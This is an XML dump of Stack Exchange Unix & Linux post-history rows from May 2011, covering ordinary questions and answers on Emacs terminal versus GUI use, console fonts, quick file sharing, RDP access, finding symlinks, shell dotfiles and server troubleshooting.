  <row Id="31812" PostHistoryTypeId="2" PostId="12922" RevisionGUID="6d83e88f-0eff-4c63-96b8-96052be33308" CreationDate="2011-05-10T07:16:43.967" UserId="885" Text="There used to be more restrictions, but since GNU Emacs 23, the text mode interface can do most of what the GUI interface can do. Also, since GNU Emacs 23, you can combine X frames and text mode frames in the same Emacs instance.&#xD;&#xA;&#xD;&#xA;Running in a terminal limits the **input** key combinations Emacs can recognize, because the terminal emulator often doesn't transmit distinct escape sequences for all key combinations. Most terminal emulators don't support all combinations of modifiers with ASCII characters (things like `C-S-a` or `C-;` or modifiers other than `Ctrl`, `Shift` and `Meta`/`Alt`). You can't distinguish `tab` from `C-i` or `backspace` from `DEL` (or `C-h` depending on the terminal emulator setup).&#xD;&#xA;&#xD;&#xA;In a terminal, you get bold, perhaps italics and underline, and however many colors the terminal supports. Under X, Emacs can use multiple **fonts**, and display **images**. Whether that's useful or not is mostly a personal preference. Don't knock it until you've tried LaTeX font-locking (in [AUCTeX](http://www.gnu.org/software/auctex/)) and rendering of mathematical symbols and diagrams through [x-symbol](http://x-symbol.sourceforge.net/) (I tried, and didn't like it). If you use Emacs as a [browser](http://www.emacswiki.org/emacs/emacs-w3m), image support is a plus (or not).&#xD;&#xA;&#xD;&#xA;In a terminal, you're limited by the terminal's support for encodings (but most at least support basic Unicode features nowadays). The X interface lets Emacs choose its own **fonts** and mix them in [fontsets](http://www.gnu.org/software/emacs/manual/html_node/emacs/Fontsets.html); this is useful if you edit multilingual documents that aren't covered by a single font. I don't have enough experience with non-latin languages to say whether Emacs is better than your typical terminal emulator at coping with “difficult” languages (combining characters, double-width, left-to-right (which Emacs 23 doesn't support anyway, Emacs 24 should)).&#xD;&#xA;&#xD;&#xA;There's obviously mouse support in the GUI interface. In the text interface, you can turn on mouse support if running in a terminal emulator under X with [`xterm-mouse-mode`](http://www.gnu.org/software/emacs/manual/html_node/emacs/Text_002dOnly-Mouse.html). You can get X clipboard support as well. The GUI version has a few extra features like [tooltips](http://www.gnu.org/software/emacs/manual/html_node/emacs/Tooltips.html), [mouse avoidance](http://www.gnu.org/software/emacs/manual/html_node/emacs/Mouse-Avoidance.html), and [mouse-activated context menus](http://www.gnu.org/software/emacs/manual/html_node/emacs/Menu-Mouse-Clicks.html).&#xD;&#xA;&#xD;&#xA;You can use the [menu bar](http://www.gnu.org/software/emacs/manual/html_node/emacs/Menu-Bars.html) with either interface. The X version can put up icons at the top of the frame (the [tool bar](http://www.gnu.org/software/emacs/manual/html_node/emacs/Tool-Bars.html)), not that I've ever seen any use for them. You also don't get [dialog boxes](http://www.gnu.org/software/emacs/manual/html_node/emacs/Dialog-Boxes.html) or [scroll bars](http://www.gnu.org/software/emacs/manual/html_node/emacs/Scroll-Bars.html) in text modes. You don't get multiple-frame convenience such as [speedbars](http://www.gnu.org/software/emacs/manual/html_node/emacs/Speedbar.html) or an [ediff](http://www.gnu.org/software/emacs/manual/html_mono/ediff.html) control frame.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31813" PostHistoryTypeId="6" PostId="12920" RevisionGUID="7fa395b7-f1da-40e1-be91-269d422f7e09" CreationDate="2011-05-10T07:17:15.120" UserId="885" Comment="edited tags" Text="éfindàésymlinkà" />
  <row Id="31814" PostHistoryTypeId="5" PostId="12907" RevisionGUID="51f3e305-7388-4f62-8802-54d3956bdbdb" CreationDate="2011-05-10T08:54:43.440" UserId="6761" Comment="hyperlinks" Text="It depends on your distribution. &#xD;&#xA;&lt;h3&gt;Arch Linux&lt;/h3&gt;&#xD;&#xA;In Arch Linux, once you have selected the font from &lt;code&gt;/usr/share/kbd/keymaps/&lt;/code&gt; that you would like to set, you need to add it to your &lt;code&gt;/etc/rc.conf&lt;/code&gt; like so:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CONSOLEFONT=&quot;lat2-16&quot;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;and then add the consolefont hook to your &lt;code&gt;/etc/mkinitcpio.conf&lt;/code&gt;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;HOOKS=&quot;base udev autodetect pata scsi sata filesystems &lt;strong&gt;consolefont&lt;/strong&gt;&quot;&lt;/code&gt;&lt;/pre&gt; &#xD;&#xA;and regenerate the image:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;# mkinitcpio -p kernel26&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;h3&gt;Ubuntu/Debian&lt;/h3&gt;&#xD;&#xA;In Ubuntu/Debian, select your font from &lt;code&gt;/usr/share/consolefonts/&lt;/code&gt; and then edit &lt;code&gt;/etc/default/console-setup&lt;/code&gt; and add an entry like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CODESET=&quot;Lat15&quot;&#xD;&#xA;FONTFACE=&quot;Terminus&quot;&#xD;&#xA;FONTSIZE=&quot;16&quot;&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;and to make it permanent:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg-reconfigure console-setup&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Fedora&lt;/h3&gt;&#xD;&#xA;The available fonts are listed in &lt;code&gt;/lib/kbd/consolefonts/&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;Specify the desired font in &lt;code&gt;/etc/sysconfig/i18n&lt;/code&gt; file by modifying the SYSCONF entry. &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;SYSFONT=&quot;lat2-16&quot;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;References&lt;/h3&gt; &#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Arch: &lt;a href=&quot;https://wiki.archlinux.org/index.php/Fonts#Console_fonts&quot;&gt;https://wiki.archlinux.org/index.php/Fonts#Console_fonts&lt;/a&gt; &lt;/li&gt;&#xD;&#xA;&lt;li&gt;Fedora: &lt;a href=&quot;http://www.g-loaded.eu/2005/09/30/change-console-font-in-fedora&quot;&gt;http://www.g-loaded.eu/2005/09/30/change-console-font-in-fedora&lt;/a&gt; &lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31815" PostHistoryTypeId="25" PostId="12920" RevisionGUID="bb2a43fe-07c7-4510-bdc4-2bdd438b1196" CreationDate="2011-05-10T09:11:39.367" Comment="http://twitter.com/#!/StackUnix/status/67879460644470785" />
  <row Id="31816" PostHistoryTypeId="2" PostId="12923" RevisionGUID="af007710-027b-42de-be8e-cdf6169fe094" CreationDate="2011-05-10T10:18:30.797" UserId="4843" Text="Mine favorite is to use the python command to make the temporary http server:&#xD;&#xA;&#xD;&#xA;&gt; python -m SimpleHTTPServer&#xD;&#xA;&#xD;&#xA;and accessing files from this machine over the lan as:&#xD;&#xA;&#xD;&#xA;&gt; http://192.168.1.70:8000&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another one is to download the tar file in extracted form as:&#xD;&#xA;&#xD;&#xA;&gt; wget -qO - http://192.168.1.70:8000/test.bz2 | tar xjvf -&#xD;&#xA;&#xD;&#xA;Here the link can be any over the www and bz2 can be either gz, tgz or bz2 itself for that matter." />
  <row Id="31817" PostHistoryTypeId="16" PostId="12923" RevisionGUID="268d8d82-c460-4097-9529-3dcdf9b49def" CreationDate="2011-05-10T10:18:30.797" UserId="4843" />
  <row Id="31818" PostHistoryTypeId="2" PostId="12924" RevisionGUID="32bbede6-efe7-4323-9851-04d7d40c1c1e" CreationDate="2011-05-10T10:44:47.217" UserId="6960" Text="In theory: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I have a low-power consuption machine: eee pc, ok.&lt;br&gt;&#xD;&#xA;I need to run a virtualized windows xp on it. (Because of a windows-only program..)&lt;br&gt;&#xD;&#xA;I need to reach it from a smartphone (Android).&lt;br&gt;&#xD;&#xA;The smartphone connects with mobile broadband to the internet.&lt;br&gt;&#xD;&#xA;Sound is needed too. (The windows-only program gives sound when a notification window comes up from it, and I HAVE to see it a few minutes - my phone is always next to me)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So I need to connect to the remote virtualized guest persistently. (all day..)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I need this in a secure way.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I was thinking about:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;NetBSD on the eee pc -&gt; XEN -&gt; Windows XP&lt;br&gt;&#xD;&#xA;||&lt;br&gt;&#xD;&#xA;ConnectBot* &lt;- VNC Viewer** &lt;- Android phone&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;* https://market.android.com/details?id=org.connectbot&amp;feature=search_result&lt;br&gt;&#xD;&#xA;** https://market.android.com/details?id=com.realvnc.viewer.android&amp;feature=search_result&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there any better solutions for this?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you  in anticipation." />
  <row Id="31819" PostHistoryTypeId="1" PostId="12924" RevisionGUID="32bbede6-efe7-4323-9851-04d7d40c1c1e" CreationDate="2011-05-10T10:44:47.217" UserId="6960" Text="SSH tunnel with VNC?" />
  <row Id="31820" PostHistoryTypeId="3" PostId="12924" RevisionGUID="32bbede6-efe7-4323-9851-04d7d40c1c1e" CreationDate="2011-05-10T10:44:47.217" UserId="6960" Text="ésecurityàévncàésshötunnelingà" />
  <row Id="31821" PostHistoryTypeId="2" PostId="12925" RevisionGUID="89d4f7bb-99ca-4354-8a55-d5ff3a60d854" CreationDate="2011-05-10T10:52:11.773" UserId="1925" Text="Your solution would work, but I think it's a little bit rougher than it needs to be. In particular, the vnc over ssh on android is going to be troublesome. It's possible, but it's not as usable or stable as it could be.&#xD;&#xA;&#xD;&#xA;I would suggest using RDP instead. There are great RDP clients on Android, the bandwidth consumption is a lot lower so it's more usable and the connection stays up more of the time. Yes, sound works too. The one I use is a couple bucks, but there are free ones too.&#xD;&#xA;&#xD;&#xA;On the host side, do what you know. I would have used Linux and it probably has better support for the EeePC hardware, but if you can make NetBSD go and prefer it, knock yourself out. VirtualBox has the ability to offer RDP access at the virtualized video hardware level which is nice for troubleshooting remote windows, but once windows is up you can use it's own RDP mechanism which is nicer for the screen resolution and layout issues when connecting from a mobile device." />
  <row Id="31822" PostHistoryTypeId="5" PostId="12924" RevisionGUID="2356240e-498d-4790-9b23-d57906b205e9" CreationDate="2011-05-10T10:54:38.760" UserId="1925" Comment="Removed TIA, see FAQ. Formatted for clarity.; deleted 2 characters in body; deleted 1 characters in body" Text="In theory:&#xD;&#xA;&#xD;&#xA; - I have a low-power consuption machine: eee pc, ok.&#xD;&#xA; - I need to run a virtualized windows xp on it. (Because of a windows-only program..)&#xD;&#xA; - I need to reach it from a smartphone (Android).&#xD;&#xA; - The smartphone connects with mobile broadband to the internet.&#xD;&#xA; - Sound is needed too. (The windows-only program gives sound when a notification window comes up from it, and I HAVE to see it a few minutes - my phone is always next to me)&#xD;&#xA; - So I need to connect to the remote virtualized guest persistently. (all day..)&#xD;&#xA; - I need this in a secure way.&#xD;&#xA;&#xD;&#xA;I was thinking about:&#xD;&#xA;&#xD;&#xA;&gt; NetBSD on the eee pc -&gt; XEN -&gt; Windows XP  &#xD;&#xA;&gt; &lt;--&gt;  &#xD;&#xA;&gt; [ConnectBot][1] &lt;- [VNC Viewer][2] &lt;- Android phone&#xD;&#xA;&#xD;&#xA;Are there any better solutions for this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://market.android.com/details?id=org.connectbot&amp;feature=search_result&#xD;&#xA;  [2]: https://market.android.com/details?id=com.realvnc.viewer.android&amp;feature=search_result" />
  <row Id="31823" PostHistoryTypeId="5" PostId="12925" RevisionGUID="fd83c3eb-5b8b-456b-95d8-b5643bdf40df" CreationDate="2011-05-10T10:58:48.347" UserId="1925" Comment="added 178 characters in body; added 45 characters in body" Text="Your solution would work, but I think it's a little bit rougher than it needs to be. In particular, the vnc over ssh on android is going to be troublesome. It's possible, but it's not as usable or stable as it could be.&#xD;&#xA;&#xD;&#xA;I would suggest using RDP instead. There are great RDP clients on Android, the bandwidth consumption is a lot lower so it's more usable and the connection stays up more of the time. Yes, sound works and yes you can use TLS to secure the connection. [The one I use][1] is a couple bucks, but there are [free ones too][2].&#xD;&#xA;&#xD;&#xA;On the host side, do what you know. I would have used Linux and it probably has better support for the EeePC hardware, but if you can make NetBSD go and prefer it, knock yourself out. VirtualBox has the ability to offer RDP access at the virtualized video hardware level which is nice for troubleshooting remote windows, but once windows is up you can use it's own RDP mechanism which is nicer for the screen resolution and layout issues when connecting from a mobile device.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://market.android.com/details?id=org.toremote.serversmanager&amp;feature=search_result&#xD;&#xA;  [2]: https://market.android.com/search?q=rdp&amp;c=apps&amp;price=1&amp;so=1" />
  <row Id="31824" PostHistoryTypeId="5" PostId="12921" RevisionGUID="b5b385a6-3d34-46ae-82d4-c26b81fba290" CreationDate="2011-05-10T11:13:30.170" UserId="1925" Comment="added 81 characters in body" Text="You can use find to fetch all files of type symlink and add the `-ilname` option to search by name of the link destination. This works just like `-iname` but for the link target name instead of the link name.&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot;&#xD;&#xA;&#xD;&#xA;That will still print out the name of the link, not the target. If you want to print the names of the targets, try this:&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot; -printf &quot;%l\n&quot;&#xD;&#xA;&#xD;&#xA;Or get a full ls style output&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot; -ls&#xD;&#xA;&#xD;&#xA;You could also just print out all the targets and use grep:&#xD;&#xA;&#xD;&#xA;    find -type l -printf &quot;%l\n&quot; | grep bar" />
  <row Id="31825" PostHistoryTypeId="5" PostId="12921" RevisionGUID="468b67d4-5c14-4fb4-94db-6cbea45ffd93" CreationDate="2011-05-10T11:23:42.420" UserId="1925" Comment="Fuller example including answer to &quot;do something with the list&quot;.; added 12 characters in body" Text="You can use find to fetch all files of type symlink and add the `-ilname` option to search by name of the link destination. This works just like `-iname` but for the link target name instead of the link name.&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot;&#xD;&#xA;&#xD;&#xA;That will still print out the name of the link, not the target. If you want to print the names of the targets, try this:&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot; -printf &quot;%l\n&quot;&#xD;&#xA;&#xD;&#xA;Or get a full `ls` style output&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot; -ls&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;What you mean by &quot;*do something with the list*&quot; is unclear, but if you wanted to operate on the link files, you could use the `-exec` argument to find:&#xD;&#xA;&#xD;&#xA;    find -type -l -ilname &quot;*bar*&quot; -exec touch {} \;&#xD;&#xA;&#xD;&#xA;But if you need to operate on the link targets, you will need to use the `-printf` to get the target values and then `xargs` or some loop yourself to operate. You could do something like this:&#xD;&#xA;&#xD;&#xA;    find -type l -printf &quot;%l\n&quot; | grep bar | xargs touch&#xD;&#xA;&#xD;&#xA;... which also demonstrates how to use `grep` instead of `find -ilname` to do your name matching, although you could do that either way.&#xD;&#xA;" />
  <row Id="31826" PostHistoryTypeId="2" PostId="12926" RevisionGUID="70135fe0-4780-4265-9301-f1f8c5d22cde" CreationDate="2011-05-10T11:50:40.203" UserId="7344" Text="You could follow the [XDG Base Directory Specification](http://standards.freedesktop.org/basedir-spec/latest/) and place the user-replacable stuff in a directory in `$XDG_DATA_HOME` and any user configuration files in a directory in `$XDG_CONFIG_HOME` (which default to `$HOME/.local/share/` and `$HOME/.config/` respectively).&#xD;&#xA;&#xD;&#xA;I'm not sure this can be called the standard way of doing things yet but it's certainly popular, so your users will likely be familiar with it." />
  <row Id="31827" PostHistoryTypeId="25" PostId="12924" RevisionGUID="6cd90638-c50c-4075-a999-c3565ac068ac" CreationDate="2011-05-10T12:11:40.100" Comment="http://twitter.com/#!/StackUnix/status/67924761862344704" />
  <row Id="31828" PostHistoryTypeId="2" PostId="12927" RevisionGUID="d5fc6808-50e7-491c-b2b7-54cb9d703cf1" CreationDate="2011-05-10T12:15:40.363" UserId="5763" Text="Try [Slax][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slax.org/&#xD;&#xA;It is optimized for flash devices." />
  <row Id="31829" PostHistoryTypeId="2" PostId="12928" RevisionGUID="e389c10d-536c-490d-9078-485b61e6b697" CreationDate="2011-05-10T12:16:47.003" UserId="7344" Text="Another option is [Slitaz](http://www.slitaz.org/en/about/), which is tiny (30 MB), runs entirely in RAM and somehow manages to come with a complete Openbox-based desktop and plenty of packages." />
  <row Id="31830" PostHistoryTypeId="2" PostId="12929" RevisionGUID="203b8ab8-4160-4b1e-b534-ed2af40455cb" CreationDate="2011-05-10T12:26:46.443" UserId="7360" Text="# Backup your fancy dot files automagically&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Modular .bashrc --&gt; .bashrc.d&#xD;&#xA;&#xD;&#xA;    mkdir -p ~/.bashrc.d&#xD;&#xA;    cat&lt;&lt;'EOF' &gt;&gt; ~/.bashrc&#xD;&#xA;    echo &quot;&quot;&#xD;&#xA;    echo -n &quot;.bashrc.d warming up: &quot;&#xD;&#xA;    for script in ~/.bashrc.d/* ; do&#xD;&#xA;      if [ -x &quot;$script&quot; ] ; then&#xD;&#xA;        echo -n &quot;${script##*/} &quot;&#xD;&#xA;        . &quot;$script&quot;&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    echo &quot;&quot;&#xD;&#xA;    echo &quot;&quot;&#xD;&#xA;    echo &quot;  All systems are go.&quot;&#xD;&#xA;    echo &quot;&quot;&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Safer rm, compatible with Linux and Mac OS X&#xD;&#xA;&#xD;&#xA;    rm() {&#xD;&#xA;      local src&#xD;&#xA;      local final_status=0&#xD;&#xA;    &#xD;&#xA;      for src in &quot;$@&quot;; do&#xD;&#xA;        # Process only non command-line arguments.&#xD;&#xA;        if [[ &quot;$src&quot; != -* ]]; then&#xD;&#xA;          local trash=&quot;$HOME/.Trash&quot;&#xD;&#xA;          if [ ! -e &quot;$src&quot; ]; then&#xD;&#xA;            echo &quot;Safer rm: $src: No such file or directory.&quot;&#xD;&#xA;            final_status=1&#xD;&#xA;          fi&#xD;&#xA;          # Create the trash directory if needed.&#xD;&#xA;          if [ ! -d &quot;$trash&quot; ]; then&#xD;&#xA;            # Assume Mac trash, but it'll work on *nix too.&#xD;&#xA;            mkdir -p &quot;$trash&quot;&#xD;&#xA;            if [ ! -d &quot;$trash&quot; ]; then&#xD;&#xA;              echo &quot;Safer rm: Unable to create trash directory $trash&quot;&#xD;&#xA;              echo &quot;&quot;&#xD;&#xA;              echo &quot;   Nothing moved or deleted.  Consider carefully:&quot;&#xD;&#xA;              echo &quot;&quot;&#xD;&#xA;              echo &quot;      /bin/rm -rf $src&quot;&#xD;&#xA;              return 1&#xD;&#xA;            fi&#xD;&#xA;          fi&#xD;&#xA;          local dest=&quot;$trash/${src##*/}&quot;&#xD;&#xA;    &#xD;&#xA;          # Find a filename combination which does not already exist.&#xD;&#xA;          if [ -e &quot;$dest&quot; ]; then&#xD;&#xA;            # Try appending ISO datetime.&#xD;&#xA;            dest=&quot;$dest.$(date +%Y-%m-%dT%H-%M-%S)&quot;&#xD;&#xA;            if [ -e &quot;$dest&quot; ]; then&#xD;&#xA;              local n=1&#xD;&#xA;              # Try increasing monotony.&#xD;&#xA;              while [ -e &quot;$dest.$n&quot; ]; do&#xD;&#xA;                n = $[n + 1]&#xD;&#xA;              done&#xD;&#xA;              dest=&quot;$dest.$n&quot;&#xD;&#xA;            fi&#xD;&#xA;          fi&#xD;&#xA;          echo -n &quot;Safer rm: Trashing $src to $dest ...&quot;&#xD;&#xA;          /bin/mv &quot;$src&quot; &quot;$dest&quot;&#xD;&#xA;          echo &quot; done.&quot;&#xD;&#xA;          echo &quot;&quot;&#xD;&#xA;          echo &quot;  To restore:  /bin/mv     '$dest' '$src'&quot;&#xD;&#xA;          echo &quot;&quot;&#xD;&#xA;          echo &quot;  To purge:  /bin/rm -rf '$dest'&quot;&#xD;&#xA;          echo &quot;&quot;&#xD;&#xA;          echo &quot;&quot;&#xD;&#xA;        fi&#xD;&#xA;      done&#xD;&#xA;      return $final_status&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Super hot 'cd' up action&#xD;&#xA;&#xD;&#xA;    # Don't ask why I need 15 levels of cd ..&#xD;&#xA;    &#xD;&#xA;    alias ..='cd ..'&#xD;&#xA;    alias .2='cd ../..'&#xD;&#xA;    alias ...='.2'&#xD;&#xA;    alias .3='cd ../../..'&#xD;&#xA;    alias .4='cd ../../../..'&#xD;&#xA;    alias .5='cd ../../../../..'&#xD;&#xA;    alias .6='cd ../../../../../..'&#xD;&#xA;    alias .7='cd ../../../../../../..'&#xD;&#xA;    alias .8='cd ../../../../../../../..'&#xD;&#xA;    alias .9='cd ../../../../../../../../..'&#xD;&#xA;    alias .10='cd ../../../../../../../../../..'&#xD;&#xA;    alias .11='cd ../../../../../../../../../../..'&#xD;&#xA;    alias .12='cd ../../../../../../../../../../../..'&#xD;&#xA;    alias .13='cd ../../../../../../../../../../../../..'&#xD;&#xA;    alias .14='cd ../../../../../../../../../../../../../..'&#xD;&#xA;    alias .15='cd ../../../../../../../../../../../../../../..'&#xD;&#xA;&#xD;&#xA;# Readline is your one true god.&#xD;&#xA;&#xD;&#xA;    bind -p | egrep -v '(not|self)' # No existential jokes included.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Terminal fonts&#xD;&#xA;&#xD;&#xA;After looking at bazillions of fonts, I use `14 pt Monaco`, `Anti-aliased` with `iTerm2`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# On Mac (Apps): Try this app that gives key bindings.&#xD;&#xA;&#xD;&#xA;&lt;b&gt;KeyCue&lt;/b&gt; (tm)(r)(c)($) gives context of almost ANY running app by simply holding &lt;kbd&gt;command&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31831" PostHistoryTypeId="16" PostId="12929" RevisionGUID="410e427b-794a-46ff-98ce-010e1fb5ba8c" CreationDate="2011-05-10T12:26:46.443" UserId="7360" />
  <row Id="31832" PostHistoryTypeId="5" PostId="227" RevisionGUID="63c026ee-7365-41b5-aae6-6f9b943aa66c" CreationDate="2011-05-10T12:53:24.913" UserId="1835" Comment="specify man section: poster refers to ascii(7), some systems will display ascii(1) with `man ascii`..." Text="My favorite is &#xD;&#xA;&#xD;&#xA;    man 7 ascii&#xD;&#xA;&#xD;&#xA;Simple and so very useful.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Have a look at this website [commandlinefu.com][2].&#xD;&#xA;&#xD;&#xA;You can also have a look at these four articles by Peteris Krumins on his blog&#xD;&#xA;&#xD;&#xA;  - [Top Ten One-Liners from CommandLineFu Explained][3]&#xD;&#xA;  - [The Next Ten One-Liners from CommandLineFu Explained][4]&#xD;&#xA;  - [Another Ten One-Liners from CommandLineFu Explained][5]&#xD;&#xA;  - [Yet Another Ten One-Liners from CommandLineFu Explained][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/fc1GI.png&#xD;&#xA;  [2]: http://www.commandlinefu.com/commands/browse&#xD;&#xA;  [3]: http://www.catonmat.net/blog/top-ten-one-liners-from-commandlinefu-explained/&#xD;&#xA;  [4]: http://www.catonmat.net/blog/the-next-ten-one-liners-from-commandlinefu-explained/&#xD;&#xA;  [5]: http://www.catonmat.net/blog/another-ten-one-liners-from-commandlinefu-explained/&#xD;&#xA;  [6]: http://www.catonmat.net/blog/yet-another-ten-one-liners-from-commandlinefu-explained" />
  <row Id="31833" PostHistoryTypeId="2" PostId="12930" RevisionGUID="fd62d05a-839a-4711-875b-19750a16721a" CreationDate="2011-05-10T13:15:07.103" UserId="4877" Text="Not so much asking what books (although if you know of any guides/tutorials that'd be helpful) but what is the best way to start doing kernal programming and is there a particular distro that would be best to learn on?&#xD;&#xA;&#xD;&#xA;Im mostly interested in the Device Drivers portion, but I wanna learn how the Kernal is set up as well (Modules and such) I have around 4-5 years Experience with C/C++ but it's mostly knowledge from College (so it's not like 4-5 years work experience lol if you know what I mean)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="31834" PostHistoryTypeId="1" PostId="12930" RevisionGUID="fd62d05a-839a-4711-875b-19750a16721a" CreationDate="2011-05-10T13:15:07.103" UserId="4877" Text="Best way to get into Kernal programming?" />
  <row Id="31835" PostHistoryTypeId="3" PostId="12930" RevisionGUID="fd62d05a-839a-4711-875b-19750a16721a" CreationDate="2011-05-10T13:15:07.103" UserId="4877" Text="ékernelàédriversàékernelömodulesà" />
  <row Id="31836" PostHistoryTypeId="2" PostId="12931" RevisionGUID="54506f77-441b-4eda-820b-fead3e7333ee" CreationDate="2011-05-10T13:15:58.537" UserId="7360" Text="If there's a real head on the machine (unlikely), try having your friendly datacenter facility tech pressing &lt;kbd&gt;caps lock&lt;/kbd&gt; on a normal, direct-attached keyboard.  If a x86 processor is still servicing interrupts, should will work.  If this does not work, the machine maybe borked.  I imagine there are corner cases with lights-out cards, ip kvms, ps/2 vs usb, etc.&#xD;&#xA;&#xD;&#xA;Check the usual: free disk space, crons, mail spool, rootkits, etc.  Also, I've seen bad hardware, i.e., PSUs, mem, NFS/iSCSI/FC interruptions, do all sorts of things.  (Hint: hardware self-tests are nearly always useless.) &#xD;&#xA;&#xD;&#xA;In case not mentioned elsewhere:&#xD;&#xA;&#xD;&#xA;* periodic trending `sar`&#xD;&#xA;* disk io `iostat ALL -p ALL`&#xD;&#xA;* disk usage `df -h`&#xD;&#xA;* network activity `iftop`&#xD;&#xA;* network packets `sudo tcpdump`&#xD;&#xA;* mem `free -lmt`&#xD;&#xA;* memory burn-in testing: *memtest86+*&#xD;&#xA;* enhanced top `htop`&#xD;&#xA;* kernel goodness `slabtop`&#xD;&#xA;&#xD;&#xA;top's Prettier Keys:&#xD;&#xA;&#xD;&#xA;* 10 updates/s &lt;kbd&gt;d&lt;/kbd&gt;`0.1`&lt;kbd&gt;enter&lt;/kbd&gt;&#xD;&#xA;* Toggle SMP view &lt;kbd&gt;1&lt;/kbd&gt;&#xD;&#xA;* Color toggle &lt;kbd&gt;z&lt;/kbd&gt;&#xD;&#xA;* Toggle sort highlight &lt;kbd&gt;x&lt;/kbd&gt;&#xD;&#xA;* Toggle highlight running tasks &lt;kbd&gt;y&lt;/kbd&gt;&#xD;&#xA;* Sort by next LEFT column &lt;kbd&gt;&amp;lt;&lt;/kbd&gt; (typically &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;,&lt;/kbd&gt;)&#xD;&#xA;* Sort by next RIGHT column &lt;kbd&gt;&amp;gt;&lt;/kbd&gt; (typically &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;.&lt;/kbd&gt;)&#xD;&#xA;* Toggle sort bold &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;b&lt;/kbd&gt;&#xD;&#xA;* Toggle bold &lt;kbd&gt;b&lt;/kbd&gt;&#xD;&#xA;* Toggle sort asc -&gt; desc &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;Partitioning vital directory into separate mount points `/ /tmp /var /var/log /var/tmp /var/spool /usr /usr/local /opt /home ...` are important to not take down systems at some point in the future if anticipated reasonably." />
  <row Id="31837" PostHistoryTypeId="2" PostId="12932" RevisionGUID="3e4a49e5-911d-4766-8a1a-73b74b69bb82" CreationDate="2011-05-10T13:19:37.380" UserId="2926" Text="I am using a Ubuntu machine as a NAT router. How can I find out the following: the ports on which the LAN machines are listening or communicating (both tcp and udp); which local machines have established connections with which WAN ip's on those ports; and the size of data that has been transfered on those ports. " />
  <row Id="31838" PostHistoryTypeId="1" PostId="12932" RevisionGUID="3e4a49e5-911d-4766-8a1a-73b74b69bb82" CreationDate="2011-05-10T13:19:37.380" UserId="2926" Text="Port monitoring on GNU/Linux based NAT router" />
  <row Id="31839" PostHistoryTypeId="3" PostId="12932" RevisionGUID="3e4a49e5-911d-4766-8a1a-73b74b69bb82" CreationDate="2011-05-10T13:19:37.380" UserId="2926" Text="émonitoringàéportsà" />
  <row Id="31840" PostHistoryTypeId="5" PostId="12930" RevisionGUID="9349c00a-68dd-430f-aa79-e4503d0ffe79" CreationDate="2011-05-10T13:19:54.037" UserId="7360" Comment="Fixed grammar, shortened and spelling of 'kernel'." Text="Not so much asking what books (although if you know of any guides/tutorials that'd be helpful) but what is the best way to start doing kernel programming and is there a particular distro that would be best to learn on?&#xD;&#xA;&#xD;&#xA;I'm mostly interested in device drivers and modules, as I want to learn about the kernel.  I have around 4-5 years experience with C/C++ but it's mostly academic." />
  <row Id="31841" PostHistoryTypeId="4" PostId="12930" RevisionGUID="9349c00a-68dd-430f-aa79-e4503d0ffe79" CreationDate="2011-05-10T13:19:54.037" UserId="7360" Comment="Fixed grammar, shortened and spelling of 'kernel'." Text="Best way to get into Kernel programming?" />
